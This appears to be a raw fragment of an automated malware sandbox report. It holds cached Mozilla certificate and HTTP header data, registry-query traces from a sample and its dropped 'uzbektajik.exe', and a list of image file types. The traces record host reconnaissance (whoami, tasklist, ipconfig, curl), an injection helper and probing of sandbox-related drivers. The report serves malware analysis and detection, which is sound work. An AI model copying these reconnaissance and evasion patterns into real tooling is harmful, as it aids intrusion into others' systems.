oY0aHR0cHM6Ly9jb250ZW50LXNpZ25hdHVyZS5jZG4ubW96aWxsYS5uZXQvY2EvY3JsLnBlbTBDBglghkgBhvhCAQQENhY0aHR0cHM6Ly9jb250ZW50LXNpZ25hdHVyZS5jZG4ubW96aWxsYS5uZXQvY2EvY3JsLnBlbTBPBggrBgEFBQcBAQRDMEEwPwYIKwYBBQUHMAKGM2h0dHBzOi8vY29udGVudC1zaWduYXR1cmUuY2RuLm1vemlsbGEubmV0L2NhL2NhLnBlbTAxBgNVHREEKjAogiZub3JtYW5keS5jb250ZW50LXNpZ25hdHVyZS5tb3ppbGxhLm9yZzAKBggqhkjOPQQDAwNoADBlAjB0OyzvBFSFZbP7BrzVkvJaJmpqWPVOZjo/Yy++I4seIYcEEU6zHQv9CYVcxCt5CbICMQDjRMh08lMFyyyEXFsHZHf0pj+2FL/Gk463HqeJMaWCYeHES8FktB9X3ifaqRf6q/I=-----END CERTIFICATE----------BEGIN CERTIFICATE-----MIIFfjCCA2agAwIBAgIDEAAGMA0GCSqGSIb3DQEBDAUAMH0xCzAJBgNVBAYTAlVTMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMS8wLQYDVQQLEyZNb3ppbGxhIEFNTyBQcm9kdWN0aW9uIFNpZ25pbmcgU2VydmljZTEfMB0GA1UEAxMWcm9vdC1jYS1wcm9kdWN0aW9uLWFtbzAeFw0xNzA1MDQwMDEyMzlaFw0xOTA1MDQwMDEyMzlaMIGmMQswCQYDVQQGEwJVUzEcMBoGA1UEChMTTW96aWxsYSBDb3Jwb3JhdGlvbjEvMC0GA1UECxMmTW96aWxsYSBBTU8gUHJvZHVjdGlvbiBTaWduaW5nIFNlcnZpY2UxJTAjBgNVBAMTHENvbnRlbnQgU2lnbmluZyBJbnRlcm1lZGlhdGUxITAfBgkqhkiG9w0BCQEWEmZveHNlY0Btb3ppbGxhLmNvbTB2MBAGByqGSM49AgEGBSuBBAAiA2IABMCmt4C33KfMzsyKokc9SXmMSxozksQglhoGAA1KjlgqEOzcmKEkxtvnGWOA9FLoA6U7Wmy+7sqmvmjLboAPQc4G0CEudn5Nfk36uEqeyiyKwKSAT+pZsqS4/maXIC7sDqOCAYkwggGFMAwGA1UdEwQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMBYGA1UdJQEB/wQMMAoGCCsGAQUFBwMDMB0GA1UdDgQWBBSIdXKZW/BQ8mC4PbEJlh6PeXme7jCBqAYDVR0jBIGgMIGdgBSzvOpYdKvhbngqsqucIx6oYyyXt6GBgaR/MH0xCzAJBgNVBAYTAlVTMRwwGgYDVQQKExNNb3ppbGxhIENvcnBvcmF0aW9uMS8wLQYDVQQLEyZNb3ppbGxhIEFNTyBQcm9kdWN0aW9uIFNpZ25pbmcgU2VydmljZTEfMB0GA1UEAxMWcm9vdC1jYS1wcm9kdWN0aW9uLWFtb4IBATAzBglghkgBhvhCAQQEJhYkaHR0cDovL2FkZG9ucy5hbGxpem9tLm9yZy9jYS9jcmwucGVtME4GA1UdHgRHMEWgQzAggh4uY29udGVudC1zaWduYXR1cmUubW96aWxsYS5vcmcwH4IdY29udGVudC1zaWduYXR1cmUubW96aWxsYS5vcmcwDQYJKoZIhvcNAQEMBQADggIBAKWhLjJB8XmW3VfLvyLFOOUNeNs7Aju+EZl1PMVXf+917LB//FcJKUQLcEo86I6nC3umUNl+kaq4d3yPDpMV4DKLHgGmegRsvAyNFQfd64TTxzyfoyfNWH8uy5vvxPmLvWb+jXCoMNF5FgFWEVon5GDEK8hoHN/DMVe0jveeJhUSuiUpJhMzEf6Vbo0oNgfaRAZKO+VOY617nkTOPnVFLSEcUPIdE8pcd+QP1t/Ysx+mAfkxAbt+5K298s2bIRLTyNUj1eBtTcCbBbFyWslyrSMkJihFAWU2MVKqvJ74YI3uNhFzqJ/AAUAPoet14q+ViYU+8a1lqEWj7y8foF3rm0ZiQpuHULiYCO4y4NR7g5ijj6KsbruLv3e9NyUAIRBHOZEKOA7EiFmWJgqH1aZv/eS7aQ9HMtPKrlbEwUjV0P3K2U2ljs0rNvO8KO9NKQmocXaRpLm+s8PYBGxby92j5eelLq55028BSzhJJc6G+cRT9Hlxf1cg2qtqcVJa8i8wc2upCaGycZIlBSX4gj/4k9faY4qGuGnuEdzAyvIXWMSkb8jiNHQfZrebSr00vShkUEKOLmfFHbkwIaWNK0+22c3RL4tDnM5u0kvdgWf0B742JskkxqqmEeZVofsOZJLOhXxO9NO/S0hM16/vf/tlTnsnhv0nxUR0B9wxN7XmWmq4-----END CERTIFICATE----------BEGIN CERTIFICATE-----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-----END CERTIFICATE-----1[Q=a,:https://content-signature.cdn.mozilla.net/chains/normandy.content-signature.mozilla.org-20180923.prod.chain?cachebust=2017-06-13-21-06necko:classifiedstrongly-framedsecurity-infoFnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjojH6pBabDSgSnsfLHeAAQAAgAAAAAAAAAAAAAAAAAAAAAB4vFIJp5wRkeyPxAQ9RJGKPqbqVvKO0mKuIl8ec8o/uhmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAU6MIIFNjCCBB6gAwIBAgIQDKnGQ2G/ySp5sd2c+55I7DANBgkqhkiG9w0BAQsFADBNMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMScwJQYDVQQDEx5EaWdpQ2VydCBTSEEyIFNlY3VyZSBTZXJ2ZXIgQ0EwHhcNMTYxMTAzMDAwMDAwWhcNMjAwMjAxMTIwMDAwWjB0MQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEcMBoGA1UEChMTTW96aWxsYSBDb3Jwb3JhdGlvbjEaMBgGA1UEAwwRKi5jZG4ubW96aWxsYS5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDNIU14XnpwQVunAhMzVS+lwRxj5K81HPtSPp3wL5Zx/hyRN/GF45H2eGFBKfvUEf7jis6tm/I8SN/7aN44p0AerR53pzA2Ut8NCjpxbMuJF6XvY2yv/g/tu3ZZjBIKn/IgR/Oyd4FSOdpDjGUM8W12RSaeiQUHC1DuMYKwnPouDijzodMXPDa7O91sahW87t6lKnS7E9CgNdku5lxFTOe480Ic9yd+clJNZZ6dNtnwYfrKaqxyZQAyBD0SNsk4WepelD+VBojDjN3Mc7rMwB67TDnq1MYiQI/lDf8h9Uzpte1iH/PQxX0pMfLxQ7bcjx7LoL6bId3N93a/2+sD3RpLAgMBAAGjggHpMIIB5TAfBgNVHSMEGDAWgBQPgGEcgjFh1S8o541GOLQs4cbZ4jAdBgNVHQ4EFgQUM8CY0nNQNDM7/3c5KcxAZpQKdD0wLQYDVR0RBCYwJIIRKi5jZG4ubW96aWxsYS5uZXSCD2Nkbi5tb3ppbGxhLm5ldDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGsGA1UdHwRkMGIwL6AtoCuGKWh0dHA6Ly9jcmwzLmRpZ2ljZXJ0LmNvbS9zc2NhLXNoYTItZzUuY3JsMC+gLaArhilodHRwOi8vY3JsNC5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc1LmNybDBMBgNVHSAERTBDMDcGCWCGSAGG/WwBATAqMCgGCCsGAQUFBwIBFhxodHRwczovL3d3dy5kaWdpY2VydC5jb20vQ1BTMAgGBmeBDAECAjB8BggrBgEFBQcBAQRwMG4wJAYIKwYBBQUHMAGGGGh0dHA6Ly9vY3NwLmRpZ2ljZXJ0LmNvbTBGBggrBgEFBQcwAoY6aHR0cDovL2NhY2VydHMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0U0hBMlNlY3VyZVNlcnZlckNBLmNydDAMBgNVHRMBAf8EAjAAMA0GCSqGSIb3DQEBCwUAA4IBAQCOU7nHjEm9JLhlTUJk1LFR9AQVVXWHVaL4yrlEy2tDds1vs2z3NnVtXXg5BgH8uDstKWAk9IbAgVgIWCwAMqO2KyjXqIU9JMVw9wNUNY6dyI3YDWB9Nwl9YAz3lxTaoJPSqH34z9YnhpztRoZ8m0Z+iZAveNjC2NMQbPIL/+O81kRKuWADXCFRSeo0XYsHnguBTu5Nlgi6X6o16u/Ba7pI1gFN2kLXfkRugMGrIpNVjfAn/dcR5pdKpXE+KzCqt3nxRhfEXTvkGazSBJoZLlv7t7ykefzurXpAW0I9sYSZtHJK3MxZNxviZzQOEEosq7Q+2aybYrPqSfBUVp12dF+rwC8DAwAAAAABAQAAAAAAAARQMjU2AAAAEFJTQS1QS0NTMS1TSEE1MTIBlZ+xZWUXSH+rm9iRO+Uxl650zaXNL0c/lvXwt//2LGgAAAADZgoyJpFcT/u7IImFpjLfBb3Dl5pUIkzVhYlpa26W6oMAAAAAAAAFOjCCBTYwggQeoAMCAQICEAypxkNhv8kqebHdnPueSOwwDQYJKoZIhvcNAQELBQAwTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMB4XDTE2MTEwMzAwMDAwMFoXDTIwMDIwMTEyMDAwMFowdDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAUBgNVBAcTDU1vdW50YWluIFZpZXcxHDAaBgNVBAoTE01vemlsbGEgQ29ycG9yYXRpb24xGjAYBgNVBAMMESouY2RuLm1vemlsbGEubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzSFNeF56cEFbpwITM1UvpcEcY+SvNRz7Uj6d8C+Wcf4ckTfxheOR9nhhQSn71BH+44rOrZvyPEjf+2jeOKdAHq0ed6cwNlLfDQo6cWzLiRel72Nsr/4P7bt2WYwSCp/yIEfzsneBUjnaQ4xlDPFtdkUmnokFBwtQ7jGCsJz6Lg4o86HTFzw2uzvdbGoVvO7epSp0uxPQoDXZLuZcRUznuPNCHPcnfnJSTWWenTbZ8GH6ymqscmUAMgQ9EjbJOFnqXpQ/lQaIw4zdzHO6zMAeu0w56tTGIkCP5Q3/IfVM6bXtYh/z0MV9KTHy8UO23I8ey6C+myHdzfd2v9vrA90aSwIDAQABo4IB6TCCAeUwHwYDVR0jBBgwFoAUD4BhHIIxYdUvKOeNRji0LOHG2eIwHQYDVR0OBBYEFDPAmNJzUDQzO/93OSnMQGaUCnQ9MC0GA1UdEQQmMCSCESouY2RuLm1vemlsbGEubmV0gg9jZG4ubW96aWxsYS5uZXQwDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjBrBgNVHR8EZDBiMC+gLaArhilodHRwOi8vY3JsMy5kaWdpY2VydC5jb20vc3NjYS1zaGEyLWc1LmNybDAvoC2gK4YpaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL3NzY2Etc2hhMi1nNS5jcmwwTAYDVR0gBEUwQzA3BglghkgBhv1sAQEwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAIBgZngQwBAgIwfAYIKwYBBQUHAQEEcDBuMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wRgYIKwYBBQUHMAKGOmh0dHA6Ly9jYWNlcnRzLmRpZ2ljZXJ0LmNvbS9EaWdpQ2VydFNIQTJTZWN1cmVTZXJ2ZXJDQS5jcnQwDAYDVR0TAQH/BAIwADANBgkqhkiG9w0BAQsFAAOCAQEAjlO5x4xJvSS4ZU1CZNSxUfQEFVV1h1Wi+Mq5RMtrQ3bNb7Ns9zZ1bV14OQYB/Lg7LSlgJPSGwIFYCFgsADKjtiso16iFPSTFcPcDVDWOnciN2A1gfTcJfWAM95cU2qCT0qh9+M/WJ4ac7UaGfJtGfomQL3jYwtjTEGzyC//jvNZESrlgA1whUUnqNF2LB54LgU7uTZYIul+qNervwWu6SNYBTdpC135EboDBqyKTVY3wJ/3XEeaXSqVxPiswqrd58UYXxF075Bms0gSaGS5b+7e8pHn87q16QFtCPbGEmbRyStzMWTcb4mc0DhBKLKu0Ptmsm2Kz6knwVFaddnRfq2YKMiaRXE/7uyCJhaYy3wW9w5eaVCJM1YWJaWtuluqDAAAAAAAABJgwggSUMIIDfKADAgECAhAB/aPrbsp1yIhDi3JLz7yRMA0GCSqGSIb3DQEBCwUAMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMB4XDTEzMDMwODEyMDAwMFoXDTIzMDMwODEyMDAwMFowTTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEnMCUGA1UEAxMeRGlnaUNlcnQgU0hBMiBTZWN1cmUgU2VydmVyIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA3K5YkE3BxDAVkDVbbjyCFfUsXL3j2/9xQ/pkJYDU7hiiTfBm0ApzbhGYNhdkrzed/fpBhK/Hr4z+GnNNzzOXkKKWh1ODK7mmdUgtHVY3e9oxMhrXrKsG9KpdS7dHRt0qk8OQLnmAgO8TBGoUO7Wbkr7CB2VO/Nr8/3qu3Fx+VTEM6DkHpNe+L9MLatKx31/+V3RTOzWA3a6ORJiznw7T2uDX9Gspq0SnS1iEbZJLgcPac4sSl0iQBEV1Gt03MZeS6M1UDTvkwT85Xi6481x+EI6GQQCNRWZHsKFlzqCqKQlO85fr6C6rD3KnMA76x/T9FHfDpFsoV8Kz+YL9t0VYmwIDAQABo4IBWjCCAVYwEgYDVR0TAQH/BAgwBgEB/wIBADAOBgNVHQ8BAf8EBAMCAYYwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wewYDVR0fBHQwcjA3oDWgM4YxaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA3oDWgM4YxaHR0cDovL2NybDQuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0R2xvYmFsUm9vdENBLmNybDA9BgNVHSAENjA0MDIGBFUdIAAwKjAoBggrBgEFBQcCARYcaHR0cHM6Ly93d3cuZGlnaWNlcnQuY29tL0NQUzAdBgNVHQ4EFgQUD4BhHIIxYdUvKOeNRji0LOHG2eIwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQELBQADggEBACM+30vSMUKltn5CXBpEzGnRaLRdS+AEIWxL4m3MseCXj6ZTCc2qKmXlOU8eg6VuXJiiJCbm+6Htk8cuAsZNSr+wQt942rOo+W3/IYVTNmBMds7sONzWUYDwxdbl1E0nZKubxz5x+0iXuDNtyRMH7paiGxgV9lxMQO2zwuz/ccHjR//UuQC0N0LaIMnqboruFAaufaJZmIioG28t9PLJFF8mzyyNfu03wKnVObmCvxkM6jSvACFo+K1z4sky2jglC1XTmh3waIbtLkE073ylUB2/OvnTwQgM5u0eilgl5Lh3rS1u9VLdtHSPq0kunTuTNCgfeM6U6se908ltHN5cMvNmCjImkVxP+7sgiYWmMt8FvcOXmlQiTNWFiWlrbpbqgwAAAAAAAAOzMIIDrzCCApegAwIBAgIQCDvgVpBCRrGhdWrJWZHHSjANBgkqhkiG9w0BAQUFADBhMQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3d3cuZGlnaWNlcnQuY29tMSAwHgYDVQQDExdEaWdpQ2VydCBHbG9iYWwgUm9vdCBDQTAeFw0wNjExMTAwMDAwMDBaFw0zMTExMTAwMDAwMDBaMGExCzAJBgNVBAYTAlVTMRUwEwYDVQQKEwxEaWdpQ2VydCBJbmMxGTAXBgNVBAsTEHd3dy5kaWdpY2VydC5jb20xIDAeBgNVBAMTF0RpZ2lDZXJ0IEdsb2JhbCBSb290IENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4jvhEXLeqKTTo1eqUKKPC3eQyaKl7hLOllsBCSDMAZOnTjC3U/dDxGkAV53ijSLdhwZAAIEJzs4bg7/fzTtxRuLWZscFs3YnFo97nh6Vfe63SKMI2tavegw5BmV/Sl0fvBf4q77uKNd0f3p4mVmFaG5cIzJLv07A6Fpt43C/dxC//AH2hdmoRBBYMql1GNXRor5H4idq9Joz+EkIYIvUX7Q6hL+hqkpMfT7PT19sdl6gSzeRntwi5m3OFBqOasv+zbMUZBfHWymeMr/y7vrTC0LUq7dBMtoM1O/4gdW7jVg/tRvoSSiicNoxBN33shbyTApOB6jtSj1etX+jkMOvJwIDAQABo2MwYTAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQUA95QNVbRTLtm8KPiGxvDl7I90VUwHwYDVR0jBBgwFoAUA95QNVbRTLtm8KPiGxvDl7I90VUwDQYJKoZIhvcNAQEFBQADggEBAMucN6pIExIK+t1EnE9SsPTfrgT1eXkIoyQY/EsrhMAtudXH/vTBH1jLuG2cenTnmCmrEbXjcKChzUyImZOMkXDiqw8cvpOp/2PV5Adg06O/nVsJ8dWO41P0jmP6P6fbtGbfYmbW0W5BjfIttep3Sp+dWOIrWcBAI+0tKIJFPnlUkiaY4IBIqDfv8NZ5YBberOgOzW6sRBc4L0na4UU+Krk2U886UAb3LujEV0lsYSEY1QSteDwsOoBrp+uvFRTp2InBuThs4pFsiv9kuXclVzDAGySj4dzp30d8tbQkCAUw7C29C79Fv1C5qfPrmAESrciIxpg0X40KPMbp1ZWVbd4AAA==request-methodresponse-headHTTP/1.1 200 OKContent-Type: binary/octet-streamContent-Length: 5904Last-Modified: Mon, 25 Jun 2018 20:57:26 GMTETag: "4cc33a1ce94ae30492a5388805c3cdd7"Date: Tue, 17 Jul 2018 12:32:40 GMTCache-Control: max-age=604800x-amz-version-id: xkLXD1xjqdlKtMkEE1E_U8_FC43gzgSJServer: AmazonS3Age: 384666X-Cache: Hit from cloudfrontVia: 1.1 0e75864d692c6dc4b9f85ce42e110468.cloudfront.net (CloudFront)X-Amz-Cf-Id: c4VQeyw1MyRivswqb8s8gEuDBeT4Fy3Z-4uBse_9f8HNycVUcZVViw==original-response-headersContent-Type: binary/octet-streamContent-Length: 5904Connection: keep-aliveDate: Mon, 02 Jul 2018 20:29:06 GMTCache-Control: max-age=604800Last-Modified: Mon, 25 Jun 2018 20:57:26 GMTx-amz-version-id: xkLXD1xjqdlKtMkEE1E_U8_FC43gzgSJETag: "4cc33a1ce94ae30492a5388805c3cdd7"Server: AmazonS3Age: 384666X-Cache: Hit from cloudfrontVia: 1.1 0e75864d692c6dc4b9f85ce42e110468.cloudfront.net (CloudFront)X-Amz-Cf-Id: nmx0TuNzX_dtffx65dq1m5vvFC4OYQGcY3mgpDgIx0vST3ZHsqjrdg==net-response-time-onstartnet-response-time-onstop" (Indicator: "----begin certificate----") in Source: 060C63588F45B35E7341A8950BAB98961FAC3E0372:Td34,"file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CURL.EXE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\ROAMING\UZBEKTAJIK.EXE"; Value: "") "file.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\ROAMING\ITSUB.EXE"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\IPCONFIG.EXE"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\USERS\HAPUBWS\APPDATA\LOCAL\TEMP\RXINJ_1792193633892748900\HELPER.EXE"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WHOAMI.EXE"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\TASKLIST.EXE"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\SANDBOXFILTER"; Key: "SUPPORTEDFEATURES"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WCIFS"; Key: "SUPPORTEDFEATURES"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WOF"; Key: "SUPPORTEDFEATURES"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\FILEINFO"; Key: "SUPPORTEDFEATURES"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "uzbektajik.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "")73:Tcc6,"7dceec06-0991-43f4-8af3-601c0ebeb910.png" has type "PNG image data 707 x 561 8-bit/color RGB non-interlaced" and extension "png" "5318eba9-773d-4fec-9366-6e84f8dfbbc5.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "52c39d7c-6d6b-4ad3-b5e5-c417949d335d.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "70c3a864-35fa-4245-802a-dbda1e3f4c00.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "7b168dd1-e39e-4b39-918c-53b9e78365e9.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "115556d6-ba8b-4b18-8439-8e9c81ff63a4.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "70d1f452-966e-4e28-8da5-8b2eeadbe078.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "6a8b0e06-e9a5-4761-afda-29391149e64d.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "62e3dfa2-4350-445b-8693-d1d04a74543c.png" has type "PNG image data 707 x 320 8-bit/color RGB non-interlaced" and extension "png" "07a5080e-becd-4719-9a79-fe50b59eb55b.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "0ec91619-5478-4e5c-aa1b-8da00a066091.png" has type "PNG image data 449 x 285 8-bit/color RGB non-interlaced" and extension "png" "5394c05d-dc33-4d24-bd45-2d8954648f28.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" "3c6a9801-329c-4eba-9524-2165ac426bef.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced" and extension "png" 